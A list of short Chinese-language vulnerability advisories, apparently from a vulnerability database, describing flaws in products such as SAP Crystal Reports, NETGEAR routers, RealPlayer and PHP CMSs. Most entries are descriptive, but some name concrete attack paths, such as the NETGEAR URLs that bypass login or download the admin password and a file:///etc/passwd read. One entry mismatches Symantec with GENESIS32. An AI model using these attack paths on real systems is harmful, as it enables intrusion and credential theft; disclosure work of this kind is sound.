Linux是一款开放源代码的操作系统。通过/dev/mpt2ctl处理设备ioctls过程中，用户提供的长度值用于把用户空间数据拷贝到堆缓冲区，由于没有进行任何边界检查，允许可控的堆破坏和后续的特权提升。
Graugon Forum 是一款使用php编写的论坛系统。Graugon Forum 1.3版本中的admin.php存在SQL注入漏洞，可能导致敏感信息泄露，甚至攻击者可直接获取Webshell。
SUSE openSUSE是一款免费发行的基于linux的操作系统。SUSE openSUSE Cobbler守护程序存在本地特权提升问题，允许本地攻击者以超级用户特权执行任意代码。
SUSE是一款基于linux内核的操作系统。SUSE Linux Enterprise Server 10提供的sap-es-tools工具部分CGI脚本不正确过滤用户提供的输入，攻击者可以利用漏洞注入和执行任意命令。
RealNetworks GameHouse是一款大型的网络游戏平台。RealNetworks GameHouse ActiveX控件存在安全漏洞，StubbyUtil.ShellCtl.1 ActiveX不安全处理ShellExec()，ShellExecRunAs()，CreateShortcut()和CopyDocument()，可导致任意命令执行，拷贝任意可执行文件到启动文件夹，获得敏感信息或删除文件。
RealNetworks GameHouse是一款大型的网络游戏平台。RealNetworks GameHouse ActiveX控件存在安全漏洞，StubbyUtil.ProcessMgr.1 ActiveX不安全处理CreateVistaTaskLow()，Exec()，ExecLow()和ShellExec()方法，可用于执行任意命令或程序。远程攻击者可以利用漏洞以应用程序上下文执行任意命令。
NETGEAR WNAP210是一款无线路由器设备。NETGEAR WNAP210包含一个漏洞允许未验证攻击者绕过设备登录WEB页面，允许攻击者直接访问设备管理WEB页，攻击者可以访问http://NetGearDeviceIP/recreate.php，WEB页会显示"recreateok"，下一步攻击者可以浏览WEB页http://NetGearDeviceIP/index.php，允许直接访问配置WEB页。
NETGEAR WNAP210是一款无线路由器设备。NETGEAR WNAP210包含一个漏洞允许远程未验证攻击者恢复设备的管理员密码。可网络访问设备的攻击者可以浏览WEB页http://NetGearDeviceIP/BackupConfig.php，会提示攻击者无需任意登录验证下载设备配置，此配置以明文方式存储管理员密码。
Dell KACE部署设备可实现完全集成的系统配置解决方案。Dell KACE K2000系统部署设备包含一个CIFS共享，虽然是匿名，但是允许只读访问，允许远程未验证攻击者获得设备管理员密码和设备系统信息。
RealNetworks RealPlayer是一款流行的媒体播放程序。RealNetworks RealPlayer不正确处理'.avi'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Pure-FTPd是一款安全加强的FTP服务程序。当接收到"STARTTLS"命令后从明文升级到密文时，由于TLS实现没有正确清除传送层缓冲区。在明文阶段攻击者可以注入任意明文数据，如FTP命令，之后这些命令可在升级到TLS密文字段后执行。
Juniper Networks的Secure Access是企业级的SSL VPN接入设备，设备上所运行的操作系统为Juniper IVE OS。Juniper Networks Secure Access提供的Network Connect Credential Provider实现存在一个未明错误，远程攻击者可以利用绕过Windows 7和Windows Vista上的验证。
ClanSphere是一个高级Web内容管理系统，主要用于搭建部落和电子竞技类网站。ClanSphere CKEditor在实现上存在文件上传漏洞，远程攻击者可利用此漏洞控制受影响系统。ClanSphere CKEditor组件mods/ckeditor/filemanager/connectors/php/upload.php允许上传任意控制名的文件，可造成任意文件上传和执行任意PHP代码。
ClanSphere是一个高级Web内容管理系统，主要用于搭建部落和电子竞技类网站。ClanSphere CKEditor在实现上存在跨站脚本执行漏洞。远程攻击者可利用此漏洞进行跨站脚本执行攻击并控制受影响系统。发送到ClanSphere CKEditor组件mods/ckeditor/filemanager/connectors/php/upload.php的"CKEditorFuncNum"参数的输入在返回给用户之前没有正确过滤。可造成在受影响站点的用户浏览器会话中执行任意HTML和脚本代码。
IBM WebSphere Application Server是一款商业性质的WEB应用服务程序。当运行WebSphere Application Server for z/OS时，存在安全漏洞可使未授权用户访问WebSphere应用。仅当配置了本地OS用户注册表或使用RACF适配器(资源访问控制工具)配置Federated Repository的WebSphere受此漏洞影响。
IBM WEBi是一款用于内容管理的软件，允许用户通过Web浏览器访问IBM内容管理数据库中的文档的交互式客户端。IBM WEBi存在一个未明漏洞，目前没有详细漏洞细节提供。
IBM WEBi是一款用于内容管理的软件，允许用户通过Web浏览器访问IBM内容管理数据库中的文档的交互式客户端。IBM WEBi存在部分未明输入在返回用户之前缺少过滤漏洞，允许恶意用户进行跨站脚本攻击，可获得敏感信息或劫持目标用户会话。
IBM SolidDB是一款IBM公司开发的内存型数据库系统。默认监听TCP 1315,1964和2315端口的solid.exe进程存在缺陷，验证协议允许远程攻击者指定密文哈希的长度，通过指定一个最小密文长度，攻击者可以迫使进程仅验证密码哈希的前几个字节，这可导致绕过数据库验证。
IBM AIX是一款商业性质的操作系统。IBM AIX LDAP验证存在安全漏洞，允许攻击者使用不正确的密码成功访问系统。要成功利用此需要/etc/security/ldap/ldap.cfg文件中的"authtype"设置为"ldap_auth"。如果本地用户在/etc/security/user文件中的SYSTEM属性设置为SYSTEM = "LDAP or compat"或者默认stanza设置为SYSTEM = "LDAP or compat"(用户自身stanza中没有SYSTEM设置)，非LDAP用户可以不正确密码登录。如果本地用户在SYSTEM属性中没有LDAP，那就不受此漏洞影响。
IBM Tivoli Directory Server是一款功能强大的LDAP目录服务实现。IBM Tivoli Directory Server存在安全漏洞，允许攻击者获得敏感信息或进行拒绝服务攻击。TDS代理服务器使用扩展操作来判断用户组成员，如果后端服务器配置了审计扩展操作，会在审计日志中显示请求数据，此数据会包含用户明文密码。
IBM Tivoli Directory Server是一款功能强大的LDAP目录服务实现。IBM Tivoli Directory Server ibmslapd.exe存在远程任意代码执行漏洞，远程攻击者可以发送恶意请求，把数据写入到服务器执行栈中，无需验证以应用程序上下文执行任意代码。
域名系统软件BIND的 9.6-ESV-R3 及之前版本存在漏洞，在.com的DS记录在根区发布后，将对递归服务器的.com域名解析产生影响。漏洞影响递归服务器对.com域名的普通查询（非DNSSEC，即查询的CD位＝0），查询结果可能返回SERVFAIL应答，根据相关测试，出现错误的比例约为50%。但该漏洞对于.com域名的DNSSEC查询（即查询的CD位＝1）没有影响。BIND软件缺省配置开启DNSSEC验证功能，由于大多数DNS查询为非DNSSEC查询，因此该漏洞对国内使用BIND软件提供的递归解析服务造成较严重影响。
Tine 是一个基于Web的群件解决方案，侧重于实用性和正确性。Tine 2.0 Neele版本中存在路径暴露漏洞。攻击者可以利用漏洞获取到WEB根目录和其他敏感信息的完整路径。
InTerra Blog Machine存在一个存储型跨站脚本漏洞。攻击者可以利用漏洞执行任意脚本代码。
Collabtive 是一款能够协助完成项目管理的程序，采用PHP和Mysql流行(Smarty)构架并涉及AJAX应用，是一款易用，稳定，免费的开源软件。Collabtive存在目录遍历漏洞。攻击者可以利用漏洞泄露任意图像文件内容。
DeDeCMS是一款国内非常流行的内容管理系统。DedeCms 5.6版本中存在一个嵌入恶意代码执行漏洞。在上传软件的地方，对本地地址没有进行有效的验证，可以被恶意利用。
Pligg CMS是一款开源的内容管理系统。Pligg CMS存在多个安全漏洞，包括：本地文件包含漏洞，安全绕过漏洞和身份验证绕过漏洞。攻击者可以利用这些漏洞查看和执行在Web服务器进程中的任意本地文件，绕过安全限制，执行未授权的操作。
PHP-Nuke是一款流行的基于PHP的论坛程序。PHP-Nuke 'chng_uid'参数不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，操纵和修改任意数据。
PHPBoost 是一款内容管理系统。PHPBoost 3.0版本中存在远程文件下载漏洞，可能导致备份用的.sql文件被远程下载。
MoviePlay是一款流行的媒体播放器。MoviePlay不正确处理'.avi'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
QQPlayer是一款FLASH播放器、远程文件管理器。QQplayer存在一个内存损坏漏洞，一个符号扩展的问题出现在MP4Splitter.dll中。恶意数据被用于指针操作，导致栈中的指针数据被破坏。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。Wordpress的插件BackWPup 1.6.1 版本中存在一个安全漏洞，远程或本地攻击者可以利用漏洞在web服务器上执行代码。
Winamp是一款流行的媒体播放器。Winamp不正确处理'.avi'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
IrIran Shoping是一款在线电子商务系统。IrIran Shoping中的page.php存在SQL注入漏洞，可能导致敏感信息泄露。
Media Player Classic是一款流行的媒体播放器。Media Player Classic不正确处理'.avi'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Bigace是一款SEO优化的内容管理系统.Bigace 2.7.5版本中FCKeditor存在文件上传漏洞，可能导致攻击者获取WebShell。
GOM Player是一款流行的媒体播放器。GOM Player不正确处理'.avi'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Feng Office是一个开源的在线协作系统。Feng Office Community版本在实现上存在任意文件上传漏洞，public/assets/javascript/ckeditor/ck_upload_handler.php脚本没有正确验证上传的文件，导致可上传任意扩展名的文件。
Feng Office是一个开源的在线协作系统。Feng Office Community版本在实现上存在跨站脚本执行漏洞，在返回给用户之前没有正确过滤通过"filename"和"slimContent" POST参数发送到public/assets/javascript/slimey/save.php的输入。可被利用造成在受影响站点的浏览器会话中执行任意HTML和脚本代码。
wodWebServer.NET是一款http和https服务器协议的activex控制部件。wodWebServer.NET 1.3.3版本中存在目录遍历漏洞。攻击者可以利用漏洞读取Web root外部的文件。
iCMS是一个高效内容管理系统，为中小型网站提供了一个解决方案。iCMS 1.1版本中存在SQL注入漏洞，可能导致敏感信息泄露。
Family Connections是一个开源的内容管理系统（CMS）。Family Connections 2.3.2版本存在XPath注入漏洞。攻击者可以利用漏洞访问或修改XML文档中的数据。
Andy's PHP Knowledgebase是一款使用MySQL做为数据存储的知识管理系统。它内含简洁URLs的书签，Q&A，利用文章标签的简易搜索浏览，文章提交功能。Andy's PHP Knowledgebase 0.95.4存在SQL注入漏洞，这是因为没有合理地过滤提交给pdfgen.php脚本的用户输入，导致SQL注入漏洞。攻击者可利用此漏洞获取任意数据导致敏感信息泄露，在某些情况下攻击者也可能创建PHP shell导致进一步的攻击。
webEdition是一款内容管理系统（CMS）。webEdition存在本地文件包含漏洞，可能导致敏感信息泄露。
Zend Server是一款PHP Web开发应用服务器。Zend Server架构的Zend Java Bridge v3.1组件存在缺陷，默认监听10001接收TCP请求的Javamw.jar服务，攻击者可以向javamw.jar服务发送任意Java代码，以WEB服务进程上下文执行任意命令。
Ulead COOL 3D是一款3D动画特效制作软件包。Ulead COOL 3D以不安全方式装载DLL库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开恶意文件，可以登录用户安全上下文装载任意库。
Rumble Mail Server是一款邮件服务程序。Rumble Mail Server不正确处理'MAIL FROM'命令，远程攻击者可以利用此漏洞使应用程序崩溃。
jHTTPd是一款轻量级web server。jHTTPd不正确过滤用户提交的请求，远程攻击者可以利用漏洞进行目录遍历攻击，可以WEB权限查看系统文件内容。
Easy File Sharing Web Server是一款共享文件WEB服务程序。Easy File Sharing Web Server的验证机制存在安全漏洞，攻击者把"UserID" COOKIE设置为任意值，提交给应用程序，可绕过验证机制。
Easy File Sharing Web Server是一款共享文件WEB服务程序。Easy File Sharing Web Server不正确过滤用户提交的请求，远程攻击者可以利用漏洞进行目录遍历攻击，可以WEB权限查看系统文件内容，或者上传任意文件。
Distributed Ruby是一套可以通过TCP/IP与远端RUBY物件传送信息的函数库。Distributed Ruby不正确处理用户提交的请求，远程攻击者可以利用漏洞以应用程序安全上下文执行任意代码。
RealNetworks RealPlayer是一款流行的媒体播放程序。RealNetworks RealPlayer不正确处理'.rmp'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Microsoft Windows Media Player是一款微软开发的媒体播放程序。Microsoft Windows Media Player不正确处理'.ape'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
FLVPlayer4Free是一款FLV播放器。FLVPlayer4Free不正确处理'.fp4f'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
DivX Player是一款高品质的avi视频播放软件。DivX Player不正确处理'AVI'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
WordPress是一种使用PHP语言和MySQL数据库开发的Blog（博客、网志)引擎，用户可以在支持PHP和MySQL数据库的服务器上建立自己的Blog。BackWPup 1.6.1及其他版本存在安全漏洞，成功利用后可允许攻击者在Web服务器进程中执行任意本地和远程脚本，或获取敏感信息。
Python是一款面向对象、 直译式计算机程序设计语言。Python urllib和urllib2扩展处理ftp://和file:// URL机制的处理器存在安全缺陷，远程攻击者可利用此缺陷通过特制的urllib开放URL请求，诱使用户访问，获得敏感信息或使Python WEB应用程序消耗大量CPU和内存，造成拒绝服务攻击。Python urllib和urllib2模块用于获取WEB页面，也默认包含ftp://和file:// URL机制处理器。通过重定向到file:///etc/passwd可获得敏感信息，提交file:///dev/zero请求可导致拒绝服务攻击。
Ecava IntegraXor是一款使用HTML和SVG的人机接口产品。Ecava IntegraXor存在一个未明SQL注入漏洞，允许远程攻击者提交特制的HTTP POST请求获得敏感数据，操作数据或执行任意代码。
Citrix Presentation Server允许用户通过网络远程访问应用程序；Citrix XenApp是一款端到端的Windows应用交付系统，可以实现客户端和服务器端的应用虚拟化。Citrix Presentation Server 4.5和Citrix XenApp 5提供的ActiveSync功能存在安全漏洞，当触发此漏洞的时候，可导致任意代码执行。ActiveSync功能可允许用户远程同步PDA设备和Microsoft Outlook中的数据，当向受影响服务器发送特制报文时，可导致ActiveSync服务终止响应。
SyndeoCMS 是一个php开源的内容管理系统。SyndeoCMS index.php脚本存在SQL注入漏洞,由于该脚本页面中提交给“user_username”变量的用户输入没有合理地验证，导致在应用程序上执行任意JavaScript代码。攻击者可利用此漏洞可完全控制应用程序，窃取基于cookie认证，泄露或修改敏感信息。
Perl是一种自由且功能强大的编程语言。它被用作 Web 编程、数据库处理、XML 处理以及系统管理等等 — 它能够完成所有这些工作，同时仍然是处理小的日常工作的完美工具。Perl "Perl_reg_numbered_buff_fetch()"函数在实现上存在远程拒绝服务漏洞，远程攻击者可利用此漏洞造成使用受影响perl代码的应用程序终止运行，拒绝服务合法用户。
Constructr是一款内容管理系统。Constructr 3.03版本中中存在任意文件上传漏洞，可能导致攻击者利用该漏洞获取网站shell。
Progea Movicon是一款新一代自动化监控软件。Progea Movicon提供的TCPUploadServer.exe存在漏洞，允许远程未验证主机在服务器上执行任意命令。利用此漏洞允许攻击者删除任意文件，以任意参数执行程序，使服务程序崩溃，获得敏感数据。攻击者向服务器TCP 10651端口发送特制报文，可使系统回应OS版本和驱动信息。另外，攻击者发送特制报文可导致删除文件或使服务程序崩溃。
Linux是一款开放源代码的操作系统。传递给midi_synth_load_patch()的偏移可以为任意值，如果提交的偏移大于Header长度，可导致一个copy_from_user(dst, src, negative_val)。在X86系统上只会返回一个-EFAULT错误，在其他架构上可能导致内存破坏。另外sysex_info结构的长度字段在使用之前没有初始化，最后一个符号的对比可导致死循环。
Linux是一款开放源代码的操作系统。没有正确校验用户提交给Yamaha YM3812和OPL-3芯片驱动的索引，向/dev/sequencer发送特制的ioctl请求可导致越界读和写堆缓冲区，可能导致特权提升。
HP Data Protector软件是一款成熟的企业级数据保护平台，可不受距离限制通过磁盘或磁带自动执行高性能备份和恢复。监听在TCP 19813端口上的DBServer.exe组件存在缺陷，当解析登录请求时进程信任用户提供的32位长度，并用于内存操作，在报文中提供超大值，远程攻击者可以利用漏洞以SYSTEM服务上下文执行任意代码。
HP Virtual SAN Appliance软件可使用服务器中现有的资源创建共享存储节点。监听在TCP 13838端口上的hydra.exe组件存在缺陷，当解析登录请求时Hydra守护程序会使用固定长度栈缓冲区并且没有对长度进行检查的情况下调用sscanf()，远程攻击者可以利用漏洞以SYSTEM服务上下文执行任意代码。
Advantech/BroadWin SCADA WebAccess是一款完全基于浏览器的人机界面(HMI)和监控及数据采集(SCADA)软禁。Advantech/BroadWin SCADA WebAccess存在安全漏洞，允许攻击者通过提交特制RPC请求获得敏感信息或执行任意代码。
CMS Balitbang是一款针对教育网站的内容管理系统。CMS Balitbang存在任意文件上传漏洞，可能导致攻击者获取网站shell。
Phpbuddies是一款开放源代码的文章目录系统。Phpbuddies中存在任意文件上传漏洞，可能导致攻击者获取网站shell。
CMS Lokomedia是一款基于php的内容管理系统。CMS Lokomedia存在任意文件上传漏洞，可能导致攻击者获取网站shell。
Immunity Debugger是一款功能强大的漏洞编写，恶意软件分析，反编译二进制文件的辅助工具。通过伪造Immunity Debugger和它immunityinc.com升级服务器的通信，发送超大HTTP应答给软件，可导致Immunity Debugger触发缓冲区溢出。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。默认监听TCP 2050端口的远程控制台功能存在缺陷。当处理用户验证时，服务器使用用户提供的COOKIEFILE路径检索存储的凭据，然后应用程序会使用此数据对比用户提供的用户名和Cookie。COOKIEFILE的路径可以为UNC路径，允许攻击者控制已知凭据和挑战凭据，远程攻击者利用此漏洞可在SYSTEM用户上下文执行任意代码。
Grsecurity Kernel PAX是一款Linux操作系统的内核安全加强补丁。问题是arch_get_unmapped_area_topdown中一个错误的边界检查，可导致不释放VM信号一直循环，造成整个系统挂起。
t1lib是一款用C编写的函数库，用于从Adobe Type 1字体生成位图。t1lib库解析Type 1字体存在问题，可导致使用此库的Foolabs Xpdf崩溃，或可能以应用程序安全上下文执行任意代码。
SpoonFTP是一款FTP服务程序。SpoonFTP不正确处理特制的'RETR'命令命令，远程攻击者可以利用漏洞使服务程序崩溃。
Siemens Tecnomatix FactoryLink是一款工业自动控制软件。Siemens Tecnomatix FactoryLink存在多个安全漏洞，包括缓冲区溢出，内存破坏，信息泄露和拒绝服务攻击。攻击者可以利用漏洞获得敏感信息，运行任意代码或使应用程序崩溃。
RealNetworks RealPlayer是一款流行的媒体播放程序。RealNetworks RealPlayer在解析IVR文件时，分配帧大小由用户控制，拷贝任意数量到缓冲区时可触发典型的堆溢出。成功利用漏洞可以以应用程序安全上下文执行任意代码。
MPlayer是一款流行的媒体播放程序。MPlayer不正确处理'.m3u'文件，攻击者可以利用漏洞构建恶意'.m3u'文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Mediacoder是一款免费的通用音频/视频批量转码工具。Mediacoder不正确处理'.m3u'文件，攻击者可以利用漏洞构建恶意'.m3u'文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Linux是一款开放源代码的操作系统。当解析FAC_NATIONAL_DIGIS facilities字段时，远程主机可以提供超大字段触发堆破坏。另外，当解析FAC_CCITT_DEST_NSAP和FAC_CCITT_SRC_NSAP facilities字段时，远程主机可以提供小于10的长度，可导致memcpy Size下溢，会引起由于对破坏而触发的内核崩溃。超过20的长度可导致callsign数组栈溢出。如果目标监听了ROSE套接字或如果存在ROSE设备(如rose0)，远程攻击者或本地攻击者可能可以利用漏洞执行任意代码。
Symantec LiveUpdate Administrator是一款Symantec产品升级管理程序。GENESIS32/64是由美国ICONICS公司研制开发的新一代工控软件。GENESIS32/64由于不正确校验用户提供的输入，可触发多个内存破坏和整数溢出漏洞。成功利用漏洞可以以应用程序安全上下文执行任意代码。
LibTiff是一款负责对TIFF图象格式进行编码/解码的应用库。LibTiff处理畸形TIFF图像时，解析特制的"StripByteCounts"字段可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
7T Interactive Graphical SCADA System是一款自动化监视和控制系统。7T Interactive Graphical SCADA System由于不正确校验用户提供的输入，远程攻击者可以利用漏洞以应用程序上下文执行任意代码或使用目录遍历字符串执行未授权操作。
DATAC RealWin是一款SCADA服务器产品，可通过TCP/IP网络操作单个PC或多个PC。DATAC RealWin SCADA Server由于不正确校验用户提供的输入，远程攻击者可以利用漏洞进行缓冲区溢出攻击。成功利用漏洞可以以应用程序安全上下文执行任意代码。
TP-LINK TL-WR740N是一款无线路由器设备。TP-LINK TL-WR740N设备处理请求时存在未明错误，攻击者可以发送大量报文使WebConsole 和UPnP服务变的不稳定。造成拒绝服务攻击。
Linux是一款开放源代码的操作系统。Linux由于没有对来自用户空间的'buffer'字符串进行正确检查(没有检查是否零终止)，可在simple_strtoul()中触发溢出。默认情况下"ipt_CLUSTERIP/*"文件为root可写，但是在某些设置权限下可能为network admin用户可写。
CORE Multimedia Suite是一款多媒体播放套件。CORE Multimedia Suite处理'.m3u'文件存在缓冲区溢出，攻击者可以利用漏洞构建恶意文件，诱使用户装载，以应用程序安全上下文执行任意代码。
多个ACTi产品存在安全漏洞，允许恶意用户获得对设备的控制。通过Web配置器管理接口的cgi-bin/test提供的"iperf"参数传递的输入在用于命令行参数之前缺少过滤，攻击者可以利用漏洞注入任意Shell命令。
Xen是一款开放源代码的虚拟机。xen/arch/x86/domain.c提供的"arch_set_info_guest()"函数不正确校验已提供的有效用户模式页面表，攻击者可以利用漏洞使宿主系统死锁，造成拒绝服务攻击。
OpenSCAP是一个开源框架，主要集成了安全内容自动化协议。OpenSCAP存在未明安全错误。目前没有详细漏洞细节提供。
OneBridge DMZ Proxy提供的iMailGateway存在未明安全漏洞，目前没有详细漏洞细节提供。
OneBridge Mobile Groupware是公认的移动基础架构，能为全球型的跨国企业扩展消息系统。OneBridge Server提供的iMailGateway存在未明安全漏洞，目前没有详细漏洞细节提供。
IBM Lotus Quickr是一款团队协作软件，能够帮助访问人员、信息和完成任务所需的项目材料。IBM Lotus Quickr存在未明安全错误。目前没有详细漏洞细节提供。
Asterisk是一款开放源码的软件PB，支持各种VoIP协议和设备。Asterisk存在安全漏洞。快速打开和关闭使用ast_tcptls_* API服务(主要由chan_sip, manager和res_phoneprov使用)的TCP连接，可导致main/tcptls.c中的"handle_tcptls_connection()"函数引用空指针而使Asterisk崩溃。允许攻击者进行拒绝服务攻击。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。Asterisk存在安全漏洞。快速打开管理连接，发送非法数据，并关闭连接，可导致Asterisk消耗大量CPU和内存资源。默认管理接口禁用。允许攻击者进行拒绝服务攻击。
Pointter是一款基于PHP的内容管理系统。Pointter存在SQL注入漏洞，可能导致敏感信息泄露。
Monkey's Audio是压缩数字音乐的工具。Monkey's Audio在".ape"文件处理的实现上存在栈缓冲区溢出漏洞，远程攻击者可利用此漏洞在受影响应用程序中执行任意代码或造成拒绝服务。
Pointter是一款基于PHP的内容管理系统。Pointter存在链路分段和交叉漏洞，可能导致敏感信息泄露。
Pointter是一款基于PHP的内容管理系统。Pointter存在跨站脚本漏洞，可能导致敏感信息泄露。
util-linux是一款包含处理文件系统，控制台，分区和信息的工具集。当向"/etc/mtab"添加新的文件描述时"mount"工具不正确处理SIGXFSZ信号，设置一个低的RLIMIT_FSIZE限制可破坏"/etc/mtab"文件，或遗留一个失效的"/etc/mtab~"文件。
ABBS是建筑类门户网站。ABBS Audio Media Player存在缓冲区溢出漏洞，攻击者可以利用漏洞信息进行恶意攻击。
Opera是一款支持多页面标签式浏览的网络浏览器。Opera存在提取无效内容漏洞，攻击者可以利用漏洞进行恶意攻击。
Wikiwig是一个采用PHP+MySQL搭建的Wiki引擎。Wikiwig存在一个存储型跨站脚本漏洞，攻击者可以利用漏洞来执行任意的Javascript。
b2evolution是一个采用PHP+MySQL开发的Blog引擎。b2evolution存在一个存储型跨站漏洞，攻击者可以利用漏洞来执行任意的Javascript。
AVI Preview是一个可以播放下载不完整的AVI影片的程序。AVI Preview不正确处理'.avi'文件，攻击者可以利用漏洞构建恶意文件，诱使用户解析，使应用程序崩溃。
ABBS是建筑类门户网站。ABBS Electronic Flash Cards存在缓冲区溢出漏洞，攻击者可以利用漏洞信息进行恶意攻击。
VLC Media Player是一款流行的多媒体播放程序。VLC Media Player不正确处理.ape文件，攻击者可以利用此漏洞构建恶意文件，诱使用户解析，使应用程序崩溃。
If-CMS是一款免费开源的内容管理系统。If-CMS存在本地文件包含漏洞，可能导致敏感信息泄露。
Zend Framework是一款开放源代码的PHP5开发框架实现。当在"development"配置环境中运行时，使用Zend_Tool生成的默认错误处理查看脚本没有正确处理转义请求参数，可导致跨站脚本攻击。攻击者可以利用漏洞获得敏感信息或劫持目标用户会话。
Trend Micro WebReputation API技术可用于阻止客户端访问可疑的web站点。Trend Micro WebReputation API存在安全绕过漏洞，攻击者可以利用漏洞绕过下载机制中包含的过滤器，成功利用漏洞允许目标用户下载恶意文件到系统中。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"DocName"和"Label"参数传递给aa-overviewctxt.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"url", "sWindow", "BEGIN_DATE", "END_DATE", "CURRENT_DATE"和"CURRENT_SLICE" 参数传递给aa-open-inlist.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP GUI是一款SAP软件的图形用户界面客户端。SAP GUI应用程序(如SAPGui.exe和BExAnalyzer.exe)以不安全方式装载库(如MFC80LOC.DLL)，攻击者可以诱使用户打开远程WebDAV或SMB共享上的SAP GUI快捷方式(".sap")文件，可导致以登录用户安全上下文执行任意代码。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"defTar"参数传递给aa-edit-goal.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"defTar"参数传递给aa-edit-goal.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"Sel"参数传递给aa-dmgraph.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"swf"参数传递给aa-display-flash.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"MetaDataCachePeriod", "AppBuilderCachePeriod", "SessionCachePeriod"和"RefreshDashboardPeriod"参数传递给aa-cacheparams.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"entry"参数传递给aa-analytic-frameset.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"pagePos"参数传递给aa-add-validate.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
PHP是一款流行的编程语言。PHP 'phar/phar_object.c'存在典型的格式串错误，攻击者可以利用漏洞进行格式串攻击，可导致应用程序崩溃或以应用程序上下文执行任意代码。
SAP Crystal Reports Server是一款完整的报表解决方案，可通过Web 或嵌入企业应用程序的方式创建、管理和交付报表。SAP Crystal Reports Server存在输入验证错误，通过"backURL"参数传递给aa-add-analytic2.jsp的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在输入验证错误，通过"logger"参数传递给ViewLogger.jsp和"class"参数传递给ShowMemLog servlet的输入在使用之前缺少过滤，可导致注入任意HTML和脚本代码，当恶意数据查看时在目标用户浏览器上执行。
Linux是一款开放源代码的操作系统。drivers/char/tpm/tpm.c提供的"tpm_open()", "tpm_transmit()", "tpm_write()"和"tpm_read()"函数没有对部分内存进行正确的清零操作，可导致泄露敏感内存信息。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在输入验证错误，传递给CheckService和ExportabilityCheck servlets中"fileNameL"和"directoryNameL"参数，及ViewCaches Servlet中的"XiDynPage_ThreadId"参数，ShowMemLog servlet中的"thread", "invert"和"filter" 参数，ViewCaches.jsp中的"refresh"参数和error_msg.jsp中的"id"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在输入验证错误，传递给BSP登录页面(/sap/bc/public/bsp/sap/system_public/logon.htm)"logonUrl"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在输入验证错误，部分传递给XI SOAP Adapter (com.sap.aii.af.soapadapter)的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
feedparser是一款用于解析各种feeds的Python库。feedparser中html过滤器没有剥离不安全的URI机制，导致攻击者进行拒绝服务和绕过安全限制。
